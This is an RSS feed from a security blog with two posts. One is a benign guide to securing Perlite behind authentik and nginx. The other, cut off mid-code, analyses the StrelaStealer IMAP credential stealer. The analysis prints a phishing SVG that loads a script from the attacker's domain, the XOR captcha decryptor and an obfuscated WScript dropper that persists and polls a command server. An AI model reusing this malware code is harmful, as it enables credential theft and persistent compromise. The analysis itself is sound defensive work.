Secure77 https://secure77.de/ Techblog and Security Thu, 05 Mar 2026 12:43:57 +0000 de hourly 1 https://wordpress.org/?v=6.9.4 https://secure77.de/wp-content/uploads/2021/09/cropped-android-chrome-512x512-1-32x32.png Secure77 https://secure77.de/ 32 32 Perlite – Access Control via Authentik https://secure77.de/perlite-access-control-via-authentik/ https://secure77.de/perlite-access-control-via-authentik/#respond Wed, 04 Mar 2026 22:11:30 +0000 https://secure77.de/?p=1965 This question has been asked several times by various users: „Can we get an authentication mechanism for Perlite?“ For those who don’t know what Perlite is: it’s a web app that lets you easily host your Markdown/Obsidian files on the internet yourself. For more information, see the Github repository. Perlite. authentik is a self-hosted, open

Der Beitrag Perlite – Access Control via Authentik erschien zuerst auf Secure77.

]]>
This question has been asked several times by various users: „Can we get an authentication mechanism for Perlite?“

For those who don’t know what Perlite is: it’s a web app that lets you easily host your Markdown/Obsidian files on the internet yourself. For more information, see the Github repository. Perlite.

authentik is a self-hosted, open source identity provider hat offers you simple ways to manage users, applications, and access to these applications.

This Blog Post is about how to install and connect authentik with one (or more) instances of Perlite.


Requirements

  • SSH access to a self hosted or cloud server
  • DNS access to a domain
  • Docker

Authentik Installation

This is strait forward, we just follow the official documentation for the docker compose setup.

After adding the secrets to the .env file, we add two more variables and change the listening ports to localhost only.

PG_PASS=<Replace>
AUTHENTIK_SECRET_KEY=<Replace>
COMPOSE_PORT_HTTP=127.0.0.1:9000
COMPOSE_PORT_HTTPS=127.0.0.1:9443

Nginx Setup

Deploy nginx either via a docker container or directly on the host. I will install it directly on the host. Other Webserver / reverse proxies are also working.

Next we are using Certbot via pip: https://certbot.eff.org/instructions?ws=nginx&os=pip for the certificate setup.

Certificates

We would like either a wildcard certificate to process the apps correctly, or we will apply for a certificate for each subdomain. We need at least a certificate for the authentication provider (authentik) and for the app.

  1. Create a wildcard DNS A record which points to the server
  2. Use Certbot with the manual DNS Plugin for the validation
certbot certonly \
  --manual \
  --preferred-challenges dns \
  -d "*.customer.company.de"

Certbot will prompt you to create a TXT record like: _acme-challenge.customer.company.de in your Domain DNS settings.

Config

We use the following nginx configuration to make everything work. It is basically a simple reverse proxy that handles SSL offloading and forwards every request (to any subdomain) to the authentik backend. (http://127.0.0.1:9000)

# Authentik reverse proxy — *.customer.company.de
server {
    listen 443 ssl;
    server_name *.customer.company.de;

    # SSL
    ssl_certificate     /etc/letsencrypt/live/customer.company.de/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/customer.company.de/privkey.pem;

    # Modern SSL settings
    ssl_protocols       TLSv1.2 TLSv1.3;
    ssl_ciphers         HIGH:!aNULL:!MD5;
    ssl_prefer_server_ciphers on;
    ssl_session_cache   shared:SSL:10m;
    ssl_session_timeout 10m;

    # Recommended headers
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
    add_header X-Content-Type-Options nosniff;
    add_header X-Frame-Options SAMEORIGIN;
    add_header X-XSS-Protection "1; mode=block";

    # Proxy to Authentik
    location / {
        proxy_pass          http://127.0.0.1:9000;  # Authentik HTTP port

        proxy_set_header    Host               $host;
        proxy_set_header    X-Real-IP          $remote_addr;
        proxy_set_header    X-Forwarded-For    $proxy_add_x_forwarded_for;
        proxy_set_header    X-Forwarded-Proto  $scheme;
        proxy_set_header    X-Forwarded-Host   $host;
        proxy_set_header    X-Forwarded-Port   $server_port;

        # WebSocket support (required for Authentik UI)
        proxy_http_version  1.1;
        proxy_set_header    Upgrade            $http_upgrade;
        proxy_set_header    Connection         "upgrade";

        proxy_buffering     off;
        proxy_read_timeout  600s;
    }
}

# Optional: redirect HTTP → HTTPS
server {
    listen 80;
    server_name *.customer.company.de;
    return 301 https://$host$request_uri;
}

Perlite Configuration

We will also use the Docker Compose version of Perlite. Since we will be using authentik’s built-in proxy provider, we need to make some adjustments to the Docker Compose file. The main difference is that we want our Perlite containers to be in the same Docker network as authentik and we don’t need a exposed port to the host.

We will add this to the perlite and web service:

    networks:
      - authentik_default

and at the end of the file the network itself

networks:
  authentik_default:
    external: true

The final docker compose file will look something like this (I have removed some environment variables to save space).

services:
  perlite:
    image: sec77/perlite:latest
    container_name: perlite
    restart: unless-stopped
    environment:
      - NOTES_PATH=Demo
      - HIDE_FOLDERS=docs,private,trash
      - LINE_BREAKS=true
      - ABSOLUTE_PATHS=false
    volumes:
      - ./Demo:/var/www/perlite/Demo:ro
    networks:
      - authentik_default

  perlite-web:
    image: nginx:stable
    container_name: perlite_web
    restart: unless-stopped
   #ports:
   #   - 80:80
    volumes:
      - ./web/config/perlite.conf:/etc/nginx/conf.d/default.conf:ro
    volumes_from:
      - perlite
    depends_on:
      - perlite
    networks:
      - authentik_default

networks:
  authentik_default:
    external: true

I also changed the service name web to perlite-web. This is not necessary, but since authentik accesses the container via this name, it is somewhat clearer if we have more than one app.

Authentik don’t like underscores for the internal host, so take care when you adjust the service name!


Authentik Configuration

After you have set up an administrator account, we will create a new application with a provider. In the „Start URL“ field, you must enter your domain for the app. If you have set up a wildcard certificate and Nginx as described above, you can choose any subdomain name, e.g.: https://perlite.customer.company.de

In the provider options we use the default implicit flow and select „Proxy“.

  • External Host will be the same URL we used for the Start URL: https://perlite.customer.company.de
  • Internal Host is the service name of the Perlite nginx container that we customized: http://perlite-web
  • We don’t need any SSL validation, as this is already handled by our nginx reverse proxy

Outpost Configuration

We can use the default authentik Embedded Outpost and only need to assign our app to it and set the correct host in the advanced settings. We will use another subdomain like https://auth.customer.company.de for this.

That’s it, now we should be able to see and access our app in the authentik User Dashboard. The user and app management can be done via the admin panel from authentik.

If a users tries to access https://perlite.customer.company.de he will be first forwarded to the authentik authentication page

after login he can access the app as usual.


Multiple Perlite Instances

If you want to deploy multiple Perlite instances (apps), you need to make two additional adjustments to the Perlite configuration.

Since all these instances will run on the same Docker network, we need unique service and container names. Therefore, adjust the Docker Compose file for each instance accordingly (notice perlite2 and perlite-web2).

services:
  perlite2:
    image: sec77/perlite:latest
    container_name: perlite2
    restart: unless-stopped
    environment:
      - NOTES_PATH=Demo
      - HIDE_FOLDERS=docs,private,trash
      - LINE_BREAKS=true
      - ABSOLUTE_PATHS=false
    volumes:
      - ./Demo:/var/www/perlite/Demo:ro
    networks:
      - authentik_default

  perlite-web2:
    image: nginx:stable
    container_name: perlite_web2
    restart: unless-stopped
    volumes:
      - ./web/config/perlite.conf:/etc/nginx/conf.d/default.conf:ro
    volumes_from:
      - perlite2
    depends_on:
      - perlite2
    networks:
      - authentik_default

networks:
  authentik_default:
    external: true

We also need to adjust the nginx config in /web/config/perlite.conf to use the correct Perlite PHP container, change the fastcgi_pass to perlite2:9000.

location ~ \.php$ {
        try_files $uri = 404;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass perlite2:9000;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REQUEST_URI $request_uri;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param PATH_INFO $fastcgi_path_info;
    }

Repeat the steps for setting up the application in authentik as you did for the first app, but use different external host subdomains and the customized service name for the internal host. (like http://perlite-web2:80)


Document / Folder Based Access Control

I strongly recommend using a separate app (e.g., Perlit/Vault) for each access level. However, there is a way to manage access control for documents/folders via authentik and nginx. We use the authentik groups to match them with predefined restricted path names. This means that we can restrict certain notes (or entire folders) to specific groups.

Before you are begin setup, there are some important caveats:

  • The restricted files and corresponding authorized groups can only be defined in the nginx config.
  • The restriction is based on regex, which makes it prone to errors.
  • You must pay attention to URL encoding and take this into account when creating the rules for regular expressions.
  • We can only restrict access to the files themselves; the folders and file names remain visible in the menu.
  • You must disable the entire search, otherwise the search will leak parts of the restricted documents.

Authentik Config

First we need to change the Provider type from „Proxy“ to „Forward Auth“. This means that authentik will forward the authentication headers to the backend, as Perlite has no functionality implemented to handle these headers we will configure our nginx reverse proxy to handle this.


Perlite Config

In Perlite we need to use the default docker-compose.yml and expose the web port to localhost, so nginx can access it.

perlite-web:
    image: nginx:stable
    container_name: perlite_web
    restart: unless-stopped
    ports:
      - 127.0.0.1:8080:80
    volumes:
      - ./web/config/perlite.conf:/etc/nginx/conf.d/default.conf:ro
    volumes_from:
      - perlite
    depends_on:
      - perlite

Nginx Config

Here we need to change several things:

  1. We need a dedicated server block for our app URL, that redirects the user to the outpost and retrieves the necessary authentication headers.
  2. We need to define the restricted path and allowed groups, this will be handled by mappings.

We can use the predefined config template which is provided by the authentik provider.

In this template we will add and change a few things.

In the server block, define the app URL:

server_name perlite.customer.company.de;

In the server block, add a new location block for the access denied handling:

    # Custom 403 page shown when Authentik denies access
    location @access_denied {
        internal;
        default_type text/html;
        return 200 '<html><head><title>Access Denied</title></head><body><h1>Access Denied</h1><p>You do not have permission to view this document.</p></body></html>';
    }

In the location / block, set the proxy_pass to a variable, link 502 to the access denied handler and prohibit the search:

if ($arg_search) {
    return 502;  # trigger the @access_denied page
}

proxy_pass       http://$perlite_upstream;
error_page       502 = @access_denied;

Outside of the server blocks (top level) we define the mappings.

The first map define the restricted path and which group should have access to it, in this case:

  • Demo Documents/Images can be accessed by everyone
  • Demo Documents/Priv can only be accessed by perlite-admin
  • All other files in Demo Documents can only be accessed by perlite-demo-documents

The second map defines:

  • the authentik group perlite-admin matches our defined perlite-admin variable.
  • the authentik group perlite-admin also matches the perlite-demo-documents variable.
  • the authentik group perlite-demo-documents matches the defined perlite-demo-documents variable.
# Map mdfile path → required Authentik group name
map $arg_mdfile $required_group {
    default                                    "";   
    "~*Demo(%20|\+)Documents(\/|%2F)Images"    "";
    "~*Demo(%20|\+)Documents(\/|%2F)Priv"      "perlite-admin";
    "~*Demo(%20|\+)Documents"                  "perlite-demo-documents";   
}

# Group membership check — does the user have the required group for this path?
map $authentik_groups:$required_group $user_has_group {
    default                                                0;
    "~*perlite-admin\|?.*:perlite-admin"                   1;
    "~*perlite-admin\|?.*:perlite-demo-documents"          1;
    "~*perlite-demo-documents\|?.*:perlite-demo-documents" 1;
}

# Is this path restricted?
map $required_group $is_restricted {
    default  0;
    "~*.+"   1;
}

# Final upstream decision — denied requests go to a non-existent
# port which triggers 502, caught by error_page → @access_denied
map $is_restricted:$user_has_group $perlite_upstream {
    default  "127.0.0.1:8080";  # allow
    "1:0"    "127.0.0.1:8888";  # deny — nothing listens here
}

In authentik we create the necessary groups and assign them to users.

If we are not member of the perlite-admin or perlite-demo-documents group we can only access Images in the Demo Documents folder, for every other file in this folder we will get a access denied.

Here you can find the final NGINX config
# Map mdfile path → required Authentik group name
map $arg_mdfile $required_group {
    default                                    "";   
    "~*Demo(%20|\+)Documents(\/|%2F)Images"    "";
    "~*Demo(%20|\+)Documents(\/|%2F)Priv"      "perlite-admin";
    "~*Demo(%20|\+)Documents"                  "perlite-demo-documents";   
}

# Group membership check — does the user have the required group for this path?
map $authentik_groups:$required_group $user_has_group {
    default                                                0;
    "~*perlite-admin\|?.*:perlite-admin"                   1;
#    "~*perlite-admin\|?.*:perlite-demo-documents"          1;
    "~*perlite-demo-documents\|?.*:perlite-demo-documents" 1;
}

# Is this path restricted?
map $required_group $is_restricted {
    default  0;
    "~*.+"   1;
}

# Final upstream decision — denied requests go to a non-existent
# port which triggers 502, caught by error_page → @access_denied
map $is_restricted:$user_has_group $perlite_upstream {
    default  "127.0.0.1:8080";  # allow
    "1:0"    "127.0.0.99:8888";  # deny — nothing listens here
}

# Upgrade WebSocket if requested, otherwise use keepalive
map $http_upgrade $connection_upgrade_keepalive {
    default upgrade;
    ''      '';
}


# ============================================================
# HTTP → HTTPS redirect
# ============================================================
server {
    listen 80;
    server_name *.customer.company.de;
    return 301 https://$host$request_uri;
}

# ============================================================
# Authentik UI (wildcard — all subdomains not matched above)
# ============================================================
server {
    listen 443 ssl;
    server_name auth.customer.company.de;

    ssl_certificate     /etc/letsencrypt/live/customer.company.de/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/customer.company.de/privkey.pem;

    location / {
        proxy_pass         http://127.0.0.1:9000;
        proxy_set_header   Host              $host;
        proxy_set_header   X-Real-IP         $remote_addr;
        proxy_set_header   X-Forwarded-For   $proxy_add_x_forwarded_for;
        proxy_set_header   X-Forwarded-Proto $scheme;
        proxy_http_version 1.1;
        proxy_set_header   Upgrade           $http_upgrade;
        proxy_set_header   Connection        "upgrade";
        proxy_buffering    off;
        proxy_read_timeout 600s;
    }
}

# ============================================================
# Perlite — forward auth with per-path group restriction
# ============================================================
server {
    listen 443 ssl;
    server_name perlite.customer.company.de;

    ssl_certificate     /etc/letsencrypt/live/customer.company.de/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/customer.company.de/privkey.pem;

    proxy_buffers     8 16k;
    proxy_buffer_size 32k;

    # ----------------------------------------------------------
    # Authentik outpost passthrough — login flow & callbacks
    # ----------------------------------------------------------
    location /outpost.goauthentik.io {
        # When using the embedded outpost, use:
        proxy_pass              http://127.0.0.1:9000/outpost.goauthentik.io;
        # For manual outpost deployments:
        # proxy_pass              http://outpost.company:9000;

        # Note: ensure the Host header matches your external authentik URL:
        proxy_set_header        Host $host;

        proxy_set_header        X-Original-URL $scheme://$http_host$request_uri;
        add_header              Set-Cookie $auth_cookie;
        auth_request_set        $auth_cookie $upstream_http_set_cookie;
        proxy_pass_request_body off;
        proxy_set_header        Content-Length "";
    }

    # Special location for when the /auth endpoint returns a 401,
    # redirect to the /start URL which initiates SSO
    location @goauthentik_proxy_signin {
        internal;
        add_header Set-Cookie $auth_cookie;
        return 302 /outpost.goauthentik.io/start?rd=$scheme://$http_host$request_uri;
        # For domain level, use the below error_page to redirect to your authentik server with the full redirect path
        # return 302 https://authentik.company/outpost.goauthentik.io/start?rd=$scheme://$http_host$request_uri;
    }

    # Custom 403 page shown when Authentik denies access
    location @access_denied {
        internal;
        default_type text/html;
        return 200 '<html><head><title>Access Denied</title></head><body><h1>Access Denied</h1><p>You do not have permission to view this document.</p></body></html>';
    }

    
    location / {
        # Put your proxy_pass to your application here, and all the other statements you'll need
        # proxy_pass http://localhost:5000;
        # proxy_set_header Host $host;
        # proxy_set_header ...
        # Support for websocket

        if ($arg_search) {
            return 502;  # trigger the @access_denied page for testing
        }


        #proxy_pass http://127.0.0.1:8080;
        proxy_pass       http://$perlite_upstream;

        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade_keepalive;
        
        
        ## Debug headers to verify correct behavior of the access control logic — these can be removed once everything is working
        # add_header X-Debug-arg-mdfile    $arg_mdfile    always;  
        # add_header X-Debug-authentik-groups $authentik_groups always;
        # add_header X-Debug-is-restricted  $is_restricted  always;
        # add_header X-Debug-user-has-group $user_has_group always;
        # add_header X-Debug-required-group   $required_group   always;
        

        ##############################
        # authentik-specific config
        ##############################
        auth_request     /outpost.goauthentik.io/auth/nginx;
        error_page       401 = @goauthentik_proxy_signin;

        error_page       502 = @access_denied;

        auth_request_set $auth_cookie $upstream_http_set_cookie;
        add_header       Set-Cookie $auth_cookie;

        # translate headers from the outposts back to the actual upstream
        auth_request_set $authentik_username $upstream_http_x_authentik_username;
        auth_request_set $authentik_groups $upstream_http_x_authentik_groups;
        auth_request_set $authentik_entitlements $upstream_http_x_authentik_entitlements;
        auth_request_set $authentik_email $upstream_http_x_authentik_email;
        auth_request_set $authentik_name $upstream_http_x_authentik_name;
        auth_request_set $authentik_uid $upstream_http_x_authentik_uid;

        proxy_set_header X-authentik-username $authentik_username;
        proxy_set_header X-authentik-groups $authentik_groups;
        proxy_set_header X-authentik-entitlements $authentik_entitlements;
        proxy_set_header X-authentik-email $authentik_email;
        proxy_set_header X-authentik-name $authentik_name;
        proxy_set_header X-authentik-uid $authentik_uid;

        # This section should be uncommented when the "Send HTTP Basic authentication" option
        # is enabled in the proxy provider
        # auth_request_set $authentik_auth $upstream_http_authorization;
        # proxy_set_header Authorization $authentik_auth;
    }

}

Der Beitrag Perlite – Access Control via Authentik erschien zuerst auf Secure77.

]]>
https://secure77.de/perlite-access-control-via-authentik/feed/ 0
StrelaStealer 2026 – Malware Analysis https://secure77.de/strelastealer-2026-malware-analysis/ https://secure77.de/strelastealer-2026-malware-analysis/#respond Tue, 03 Feb 2026 22:59:28 +0000 https://secure77.de/?p=1888 Malware Analysis of a IMAP Credential Stealer This is a blog post about malware designed to steal information, which is distributed via phishing emails and connects to a C2 server in several steps, steals IMAP login credentials, and embeds itself permanently in the system. Usually, the server behind the URL is already offline by the

Der Beitrag StrelaStealer 2026 – Malware Analysis erschien zuerst auf Secure77.

]]>
Malware Analysis of a IMAP Credential Stealer

This is a blog post about malware designed to steal information, which is distributed via phishing emails and connects to a C2 server in several steps, steals IMAP login credentials, and embeds itself permanently in the system.

Usually, the server behind the URL is already offline by the time I have time to take a closer look at some phishing emails. This week, I received another random phishing email and thought I’d give it a try.

The phishing email is pretty standard, nothing special. I still don’t understand why the attackers don’t at least use sender addresses similar to the company they are trying to imitate, but OK.


Stage 1

The SVG attachment is quite small, not obfuscated at all, and is already detected by some AVs: https://www.virustotal.com/gui/file/6f8db0ec39641850b62b4d121197f55f1a93c051c26646d799f43b2f0dc4e0f8?nocache=1

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%">
  <foreignObject class="node" x="0" y="0" width="100%" height="100%">
    <body xmlns="http://www.w3.org/1999/xhtml">
      <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
      <script src="http://dlscript2k222.com/script.php?id=script"></script>
Warteladen... <!-- cktl9ezznonwx -->
    </body>
  </foreignObject>
</svg>

By requesting the included URL of the SVG file, it loads some base64 encoded HTML code from

hxxp://dlscript2k222.com/script.php?id=script

The base64 can be simple decoded to get the plain HTML

payload.html
<style>
    @import url('https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,100..900;1,14..32,100..900&display=swap');

    body,
    html,
    foreignObject {
        padding: 0;
        margin: 0;
        font-family: "Inter", Arial, sans-serif;
        font-optical-sizing: auto;
        font-style: normal;
        font-weight: 300;
    }

    #wrapper {
        background-color: #fff;
        background-repeat: no-repeat;
        background-position: right;

        background-image: url("data:image/svg+xml;base64,PHN2ZyBp..");
    }

    a {
        border: 3px solid #1473E6;
        background: #1473E6;
        border-radius: 20px;
        color: #fff;
        padding: 8px 30px;
        text-decoration: none;
    }

    a:hover {
        border: 3px solid #105cb8;
    }
</style>
<div style="background-color: #f2f2f2; position: absolute; top: 0; left: 0; right: 0; bottom: 0;">
    <div style="position: absolute; left: 20px; top: 20px; right: 20px; bottom: 0px; ">
        <div id="wrapper" style="padding: 10px; border: 1px solid #AAA; border-radius: 10px; ">
            <div style="">
                <img style="vertical-align: middle;  width: 50px;" src="data:image/png;base64,.." /> <span
                    style=" color: #B30B00; padding-left: 10px; font-weight: 350;">Adobe Acrobat Reader</span>

                <div id="wait" style="padding-top: 10px;">Bitte warten Sie, Ihr Dokument wird hochgeladen...</div>
                <div id="loadingWrapper"
                    style="position: relative; margin-top: 10px; border-radius: 20px; background-color: rgba(242, 242, 242, 0.5);">

                    <div id="loading"
                        style="display: inline-block; position: relative; border-radius: 20px; height: 10px; background: #B30C00; width: 10%; margin: 0px 5px; margin-bottom: 1px;">
                    </div>
                </div>
                <div id="loaded"
                    style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
                    Ihr Dokument wurde hochgeladen.
                    <div style="margin-top: 20px;"><a id="dlBtn" style="">Öffnen Sie Ihre Datei</a></div>
                </div>
                <div id="captcha"
                    style="display: none; border-radius: 20px; margin-top: 10px; padding: 20px; background-color: rgba(255, 255, 255, 0.5);">
                    <p>Bitte vervollständigen Sie das Captcha, um Ihr Dokument herunterzuladen.</p>

                    <img src="data:image/png;base64,iVBORw0KGgo..." style="border: 1px solid #CCC;" />

                    <div><input type="text" id="inputCaptcha" style="width: 310px; padding: 5px;" /></div>

                    <div style="margin-top: 20px;"><a href="javascript:decrypt()">Verifizieren</a></div>
                </div>
            </div>
        </div>
        <div style="margin-top: 5px; color: #666; font-size: 12px;">Copyright © 2025 Adobe. All rights reserved.
        </div>
    </div>
</div>

A user will see the following when he opens the SVG file with a browser

and after a few seconds

In addition to the obfuscated HTML, it also contains some JavaScript at the end that has a small decryption function to hide the URL for the next stage. The captcha image contains the key to decrypt (xor) the Base64-encoded string. Interesting fact: The Base64 string and the captcha image change with every request, and the URL for stage 2 changes every 5 minutes.

script.js
var b64 = atob('HAx8B3sSHAx8B1wtJzdAdht2MiVAJF0rNiNQYlc2PmgMOQkqMDVaPEA=');

document.getElementById("inputCaptcha").addEventListener("keypress", function(event)
{
   if(event.key === "Enter")
      decrypt();
});


function decrypt()
{
   key = document.getElementById("inputCaptcha").value.toUpperCase();
   var decrypted = '';

   for (i = 0; i < b64.length; i++)
   {
      decrypted += String.fromCharCode(
         b64.charCodeAt(i) ^ key.charCodeAt(i % key.length)
      );
   }

   if(decrypted.slice(0, 10) != 'OKOKOKOKOK')
      alert('Falsches Captcha, bitte versuchen Sie es erneut.');
   else
   {
      b64 = decrypted.slice(10);
      //alert(b64);
      //window.location.href = "b64";

      new Image().src = 'http://dlscript2k222.com/script.php?captcha=' + key;

      downloadSet();
   }
}


function downloadSet()
{
   /*


   const binaryString = atob(b64);
   const bytes = new Uint8Array(binaryString.length);
    
   for(let i = 0; i < binaryString.length; i++)
   {
      bytes[i] = binaryString.charCodeAt(i);
   }
    
   const blob = new Blob([bytes], { type: 'application/x-cd-image' });
   const url = URL.createObjectURL(blob);
   */
   document.getElementById("captcha").style.display = "none";
   document.getElementById("loaded").style.display = "block";
    
   var element = document.getElementById('dlBtn');
   element.setAttribute('href', b64);
   //element.setAttribute('download', '');
}


//downloadSet();

var i = 10;
var intervalId = setInterval(function()
{
   document.getElementById("loading").style.width = i + "%";
   i += 1;
   if(i >= 100)
   {
      clearInterval(intervalId); 
      document.getElementById("captcha").style.display = "block";
      document.getElementById("wait").style.display = "none";
   }
}, 100); 

we can simple reuse this function and adjust it a little bit to perform the offline decryption

var b64 = atob('HRN6D30eHRN6D1ohJihGfh16Y2gCcUUlMypealE6P3cKMQ8mMSpcNEY');

function decrypt()
{
   key = 'RX5D2U';
   var decrypted = '';

   for (i = 0; i < b64.length; i++)
   {
      decrypted += String.fromCharCode(
         b64.charCodeAt(i) ^ key.charCodeAt(i % key.length)
      );
   }
   if(decrypted.slice(0, 10) != 'OKOKOKOKOK')
      console.log('Falsches Captcha, bitte versuchen Sie es erneut.');
   else
   {
      b64 = decrypted.slice(10);
      console.log(b64)
   }
}
decrypt();

Since the URL changed every 5 minutes, I developed an automatic captcha solver and decoder to retrieve all potential URLs (you can find it at the end of the post).

If the correct key is entered, it will be used to decrypt the URL and a ZIP download is triggered.


Stage 2

The ZIP file contains obfuscated JavaScript (or rather WScript) named: RECHNUNG_XXXX_XXXXX.js

The file name of the downloaded ZIP file and parts of the RECHNUNG.js change with each different URL from which you download the ZIP file.

The obfuscated code also changes, but it is always the same unobfuscated code.

umu = "_";lwh = "j";oxt = "S";nox = "n";jvcl = "H";were = "e";ohd = "t";rpgw = "K";godp = "g";zav = "i";saik = "b";ggry = "p";miuu = "Y";duaj = "l";qrq = ":";llm = "0";ong = "c";sfn = " ";qqh = "/";nlh = "!";eujv = "I";gun = "\r";rmhh = "R";vcg = "-";jgs = "y";nnc = "\n";snda = "m";xqga = ".";hfk = "T";jmae = "s";pkf = "2";gyxo = "d";igf = "C";qdjm = "h";zje = "k";zcgh = "9";kzxn = "F";uanm = "N";luxl = "O";aiwd = "?";mewl = "V";zju = "\\";csbf = "Q";gdvf = "5";ljk = "M";ilq = "8";rcfk = "u";gaol = "x";qaaj = "A";dmw = "G";ney = "&";rfbu = "W";gnki = "r";mgcq = "L";ewmy = "o";gvk = "P";pwpy = "%";qke = "X";qxsu = "a";wyn = "E";wica = "w";lzbx = "4";sce = "f";fug = "@";mvnm = "D";ccbn=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](rfbu+oxt+ong+gnki+zav+ggry+ohd+xqga+oxt+qdjm+were+duaj+duaj);najx=qdjm+ohd+ohd+ggry+qrq+qqh+qqh+snda+zav+ong+gnki+ewmy+jmae+ewmy+sce+ohd+ggry+ewmy+duaj+duaj+were+gnki+pkf+llm+xqga+ong+ewmy+snda+qqh+godp+ohd+xqga+ggry+qdjm+ggry;azev=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](ljk+oxt+qke+ljk+mgcq+pkf+xqga+qke+ljk+mgcq+jvcl+hfk+hfk+gvk);zxp=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](oxt+ong+gnki+zav+ggry+ohd+zav+nox+godp+xqga+kzxn+zav+duaj+were+oxt+jgs+jmae+ohd+were+snda+luxl+saik+lwh+were+ong+ohd);hzki=this[rfbu+oxt+ong+gnki+zav+ggry+ohd][igf+gnki+were+qxsu+ohd+were+luxl+saik+lwh+were+ong+ohd](rfbu+oxt+ong+gnki+zav+ggry+ohd+xqga+uanm+were+ohd+wica+ewmy+gnki+zje)[igf+ewmy+snda+ggry+rcfk+ohd+were+gnki+uanm+qxsu+snda+were];eoj=ccbn[rmhh+were+godp+rmhh+were+qxsu+gyxo](jvcl+rpgw+wyn+miuu+umu+mgcq+luxl+igf+qaaj+mgcq+umu+ljk+qaaj+igf+jvcl+eujv+uanm+wyn+zju+oxt+luxl+kzxn+hfk+rfbu+qaaj+rmhh+wyn+zju+ljk+zav+ong+gnki+ewmy+jmae+ewmy+sce+ohd+zju+rfbu+zav+nox+gyxo+ewmy+wica+jmae+sfn+uanm+hfk+zju+igf+rcfk+gnki+gnki+were+nox+ohd+mewl+were+gnki+jmae+zav+ewmy+nox+zju+gvk+gnki+ewmy+gyxo+rcfk+ong+ohd+eujv+gyxo)+fug+vcg+mvnm+wyn+vcg+hzki;bgiv=pkf+zcgh+zcgh+gdvf+gdvf+lzbx+lzbx+zcgh+lzbx+ilq;try{if(this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were][zav+nox+gyxo+were+gaol+luxl+sce](bgiv) == -1){try{zxp[igf+ewmy+ggry+jgs+kzxn+zav+duaj+were](this[rfbu+oxt+ong+gnki+zav+ggry+ohd][oxt+ong+gnki+zav+ggry+ohd+kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were], zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2) + zju+bgiv+xqga+lwh+jmae,false);}catch(tgnt){}ccbn[rmhh+rcfk+nox](ong+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were+sfn+zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,0,false);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][were+ong+qdjm+ewmy](mvnm+qxsu+ohd+were+zav+sfn+saik+were+jmae+ong+qdjm+qxsu+gyxo+zav+godp+ohd+nlh);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][csbf+rcfk+zav+ohd]();}if(this[rfbu+oxt+ong+gnki+zav+ggry+ohd][kzxn+rcfk+duaj+duaj+uanm+qxsu+snda+were][ohd+ewmy+mgcq+ewmy+wica+were+gnki+igf+qxsu+jmae+were]()[zav+nox+gyxo+were+gaol+luxl+sce](wica+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were) != -1){ccbn[rmhh+rcfk+nox](ong+jmae+ong+gnki+zav+ggry+ohd+xqga+were+gaol+were+sfn+zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,0,false);this[rfbu+oxt+ong+gnki+zav+ggry+ohd][csbf+rcfk+zav+ohd]();}zxp[luxl+ggry+were+nox+hfk+were+gaol+ohd+kzxn+zav+duaj+were](zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+lwh+jmae,1);bml=zxp[igf+gnki+were+qxsu+ohd+were+hfk+were+gaol+ohd+kzxn+zav+duaj+were](zxp[dmw+were+ohd+oxt+ggry+were+ong+zav+qxsu+duaj+kzxn+ewmy+duaj+gyxo+were+gnki](2)+zju+bgiv+xqga+ohd+gaol+ohd,true);for(;;){try{azev[ewmy+ggry+were+nox](dmw+wyn+hfk,najx+aiwd+eoj+ney+new this[mvnm+qxsu+ohd+were],false);
